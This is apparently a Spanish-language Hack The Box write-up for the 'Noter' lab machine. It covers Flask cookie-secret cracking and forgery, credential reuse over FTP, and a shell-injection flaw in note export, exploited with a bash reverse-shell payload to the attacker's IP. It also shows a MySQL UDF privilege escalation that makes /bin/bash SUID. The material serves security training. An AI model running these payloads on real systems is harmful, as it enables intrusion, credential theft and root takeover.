Inicio WriteUp Noter HTB
Entrada
Cancelar
Preview Image

WriteUp Noter HTB

Índice

IP10.10.11.160
OSLinux
DificultadMedia
Creadorkavigihan

Herramientas y recursos empleados

  • Herramientas
    • nmap
    • wfuzz
    • flask-unsign
    • ftp
    • netcat
  • Recursos
    • hacktricks
    • SecLists

Fase de enumeración

Iniciamos con un escaneo de todos los puertos abiertos y la detección de servicios para los mismos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ nmap -sCV -oN scope.txt 10.10.11.160
Nmap scan report for 10.10.11.160
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
|   256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_  256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
5000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Tenemos el puerto 21 (ftp), 22 (SSH) y 5000 (http), al parecer usando python con Werkzeug. Intentemos conectarnos a través de ftp como anonymous con una contraseña vacía:

1
2
3
4
5
6
7
8
❯ ftp 10.10.11.160
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:$(USER)): anonymous
331 Please specify the password.
Password: 
530 Login incorrect.
ftp: Login failed.

No podemos acceder, necesitamos credenciales. Tampoco tenemos credenciales para conectarnos por SSH, así que de momento lo dejamos y vamos a por el siguiente servicio, el puerto 5000.

Vamos a nuestro navegador favorito y ponemos http://10.10.11.160:5000 para realizar la búsqueda. Observamos lo siguiente:

Web Noter

Es una web para guardar notas. Podemos intentar credenciales por defecto en Login como:

  • admin:admin
  • administrator:administrator
  • guest:guest

Sin embargo, ninguna funciona. Así que vamos a registrarnos para tener un poco más de alcance: Login Web Noter

Bueno, vemos que podemos hacer varias cosas, entre ellas: ver nuestras notas y comprar una membresía VIP. También vemos algo interesante: el usuario con el cual ingresamos, se refleja en el dashboard, por lo que podríamos pensar en SSTI —ya os digo que no sucede nada si hacemos pruebas en el usuario, en el título de las notas ni en el cuerpo de las notas—. Inspeccionando un poco más, nos encontramos algo con lo que podemos jugar: un JWT (Json Web Token) guardado en las cookies de nuestra sesión: JWT Web Noter

eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVzdDEyMyJ9.YxEeSg.4OIleiyuMjzHlWq0byrDImDLaqU

Veamos qué contiene al pasarlo a esta web o también podemos decodear la primer parte del Token desde consola:

1
2
3
4
5
6
echo 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVzdDEyMyJ9' | base64 -d | jq

{
  "logged_in": true,
  "username": "test123"
}

En la web tenemos más datos como el tipo de cifrado HMACSHA256

Enumerando usuarios

Anteriormente en el intento de acceder usando credenciales por defecto, vimos el mensaje de error Invalid credentials. Cuando usamos el usuario que registramos (test123) con una contraseña errónea, aparece el mensaje Ìnvalid login, así que tenemos una vía potencial de enumerar usuarios. Denodo a lo anterior usaré wfuzz —también podríamos crear un script en python para el mismo fin—:

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ wfuzz -c --ss 'Invalid login' -w /usr/share/SecLists/Usernames/Names/names.txt -d 'username=FUZZ&password=admin' -H 'Content-Type: application/x-www-form-urlencoded' http://10.10.11.160:5000/login
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.160:5000/login
Total requests: 10177

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                   
=====================================================================

000001208:   200        68 L     110 W      2027 Ch     "blue" 
  • -c: salida con colores
  • --ss: show regex
  • -w: diccionario
  • -d: datos
  • -H: cabecera

¿Tienes algún secreto?

El formato de datos lo podemos ver en la petición que mandamos al intentar ingresar con un usuario y contraseña desde el navegador. Lo importante: obtuvimos un usuario, blue ¿Y ahora qué? Bueno, haciendo una búsqueda por internet o más bien en la “Biblia”, hacktricks, nos encontramos con algo que nos puede ayudar a crackear el secreto del JWT:

1
2
3
4
5
❯ flask-unsign --wordlist /usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt --unsign --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVzdDEyMyJ9.YxEeSg.4OIleiyuMjzHlWq0byrDImDLaqU' --no-literal-eval
[*] Session decodes to: {'logged_in': True, 'username': 'test123'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 18048 attempts
b'secret123'

Ahora que tenemos el secreto secret123, podemos construir nuestro propio JWT para conectarnos con el usuario blue:

1
2
❯ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret 'secret123'
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YxEq4Q.mqsQtRYlhrqrq2hkn604WPY2PLY

Cambiamos en el navegador la cookie que teníamos por la que hemos construido y accedemos. Al entrar a la sesión vemos que tiene VIP —con un usuario normal no la teníamos—. Además, observamos que hay dos notas, y una de ellas es ‘Noter Premium Membership’ en la que encontramos lo siguiente:

Written by ftp_admin on Mon Dec 20 01:52:32 2021 Hello, Thank you for choosing our premium service. Now you are capable of doing many more things with our application. All the information you are going to need are on the Email we sent you. By the way, now you can access our FTP service as well. Your username is ‘blue’ and the password is ‘blue@Noter!’. Make sure to remember them and delete this.
(Additional information are included in the attachments we sent along the Email)
We all hope you enjoy our service. Thanks!
ftp_admin

Accediendo a ftp como blue

¡Ahora tenemos credenciales para acceder por ftp! Cuando accedemos obtenemos lo siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ ftp 10.10.11.160 
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:$(USER)): blue
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 0        1002         4096 May 02 23:05 .
drwxr-xr-x    3 0        1002         4096 May 02 23:05 ..
drwxr-xr-x    2 1002     1002         4096 May 02 23:05 files
-rw-r--r--    1 1002     1002        12569 Dec 24  2021 policy.pdf
ftp>

El archivo PDF nos dice la política que se emplea para las contraseñas username@site_name!.

Accediendo a ftp como ftp_admin

Sabiendo lo anterior, podemos intentar acceder como el usuario admin siguiendo la política:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ ftp 10.10.11.160
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:rabb1t0xf): ftp_admin
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        1003         4096 May 02 23:05 .
drwxr-xr-x    2 0        1003         4096 May 02 23:05 ..
-rw-r--r--    1 1003     1003        25559 Nov 01  2021 app_backup_1635803546.zip
-rw-r--r--    1 1003     1003        26298 Dec 01  2021 app_backup_1638395546.zip
226 Directory send OK.

contraseña: ftp_admin@Noter!

¡Obtuvimos acceso! Además hay dos backups. Sin rechistar los descargamos:

1
2
3
4
5
6
7
8
9
10
11
12
ftp> get app_backup_1635803546.zip app1.zip
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for app_backup_1635803546.zip (25559 bytes).
226 Transfer complete.
25559 bytes received in 0,286 seconds (87,3 kbytes/s)
ftp> get app_backup_1638395546.zip app2.zip
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for app_backup_1638395546.zip (26298 bytes).
226 Transfer complete.
26298 bytes received in 0,28 seconds (91,9 kbytes/s)
ftp> quit
221 Goodbye.

¿Hay algo o alguien aquí?

Revisando los archivos, nos encontramos con credenciales para la base de datos MySQL:

1
2
app.config['MYSQL_USER'] = 'root'
app.config['MYSQL_PASSWORD'] = 'Nildogg36'

Como no tenemos acceso al sistema, debemos pensar en meternos… Dentro de uno de los archivos app.py vemos dos funciones que están usando el ejecutable /bin/bash:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
def export_note_local(id):
	if check_VIP(session['username']):
		cur = mysql.connection.cursor()
 
        result = cur.execute("SELECT * FROM notes WHERE id = %s and author = %s", (id,session['username']))
 
        if result > 0:
	        note = cur.fetchone()
 
            rand_int = random.randint(1,10000)
            command = f"node misc/md-to-pdf.js  $'{note['body']}' {rand_int}"
            subprocess.run(command, shell=True, executable="/bin/bash")
         
            return send_file(attachment_dir + str(rand_int) +'.pdf', as_attachment=True)
 
        else:
            return render_template('dashboard.html')
    else:
        abort(403)
 
# Export remote
@app.route('/export_note_remote', methods=['POST'])
@is_logged_in
def export_note_remote():
	if check_VIP(session['username']):
	    try:
	        url = request.form['url']
 
            status, error = parse_url(url)
 
            if (status is True) and (error is None):
                try:
	                r = pyrequest.get(url,allow_redirects=True)
                    rand_int = random.randint(1,10000)
                    command = f"node misc/md-to-pdf.js  $'{r.text.strip()}' {rand_int}"
                    subprocess.run(command, shell=True, executable="/bin/bash")
 
	                if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'):
 
		                return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True)
 
                     else:
		                 return render_template('export_note.html', error="Error occured while exporting the !")
 
				 except Exception as e:
	                return render_template('export_note.html', error="Error occured!")
 
 
             else:
                 return render_template('export_note.html', error=f"Error occured while exporting ! ({error})")
             
         except Exception as e:
	         return render_template('export_note.html', error=f"Error occured while exporting ! ({e})")
 
	else:
	    abort(403)

Además, vemos que md-to-pdf.js se ejecuta con NodeJS. Haciendo una búsqueda por internet nos encontramos una vulnerabilidad que podríamos probar en la sección de la web Export Notes que se otorga solamente para usuarios ‘VIP’: Export Notes Noter

Creamos un archivo malicioso:

1
echo "--';bash -i >& /dev/tcp/10.10.14.44/4433 0>&1;'--" > rev.md 

Levantamos un servidor con python:

1
❯ python3 -m http.server

Y en otra ventana debemos ponernos en “escucha” con netcat en el puerto que específicamos dentro del archivo malicioso, 4433:

1
❯ netcat -lnvp 4433

Y en el campo URL ponemos lo siguiente http://10.10.14.44:8000/rev.md (que es nuestra IP, el puerto del servidor y el archivo malicioso, respectivamente). Presionamos en exportar y obtenemos una conexión remota:

1
2
3
4
5
6
❯ netcat -lnvp 4433
Listening on 0.0.0.0 4433
Connection received on 10.10.11.160 49170
bash: cannot set terminal process group (1261): Inappropriate ioctl for device
bash: no job control in this shell
svc@noter:~/app/web$

Escalando privilegios

Después de hacer una enumeración básica, no encontramos nada de lo que nos podamos aprovechar. Recordemos que tenemos credenciales para conectarnos a la base de datos. Hay una técnica de escalada de privilegios mediante MySQL que podemos probar usando este exploit, subiendo el archivo a la máquina víctima y haciendo lo siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
svc@noter:~/tmp$ gcc -g -c raptor_udf2.c
svc@noter:~/tmp$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
svc@noter:~/tmp$ mysql -u 'root' -p'Nildogg36'

MariaDB [(none)]> use mysql;
Database changed

MariaDB [mysql]> create table test(line blob);
Query OK, 0 rows affected

MariaDB [mysql]> insert into test values(load_file('/home/tmp/raptor_udf2.so'));
Query OK, 1 row affected

MariaDB [mysql]> select * from test into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
Query OK, 1 row affected

MariaDB [mysql]> create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 rows affected

MariaDB [mysql]> select do_system('chmod u+s /bin/bash');
+----------------------------------+
| do_system('chmod u+s /bin/bash') |
+----------------------------------+
|                                0 |
+----------------------------------+

MariaDB [mysql]> exit
Bye

Ejecutamos el binario bash con privilegios (-p) y nos convertimos en root:

1
2
3
4
svc@noter:~/tmp$ /bin/bash -p
bash-5.0\# whoami
root
bash-5.0#

¡Happy Hacking!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.

WriteUp TimeLapse HTB

WriteUp RedPanda HTB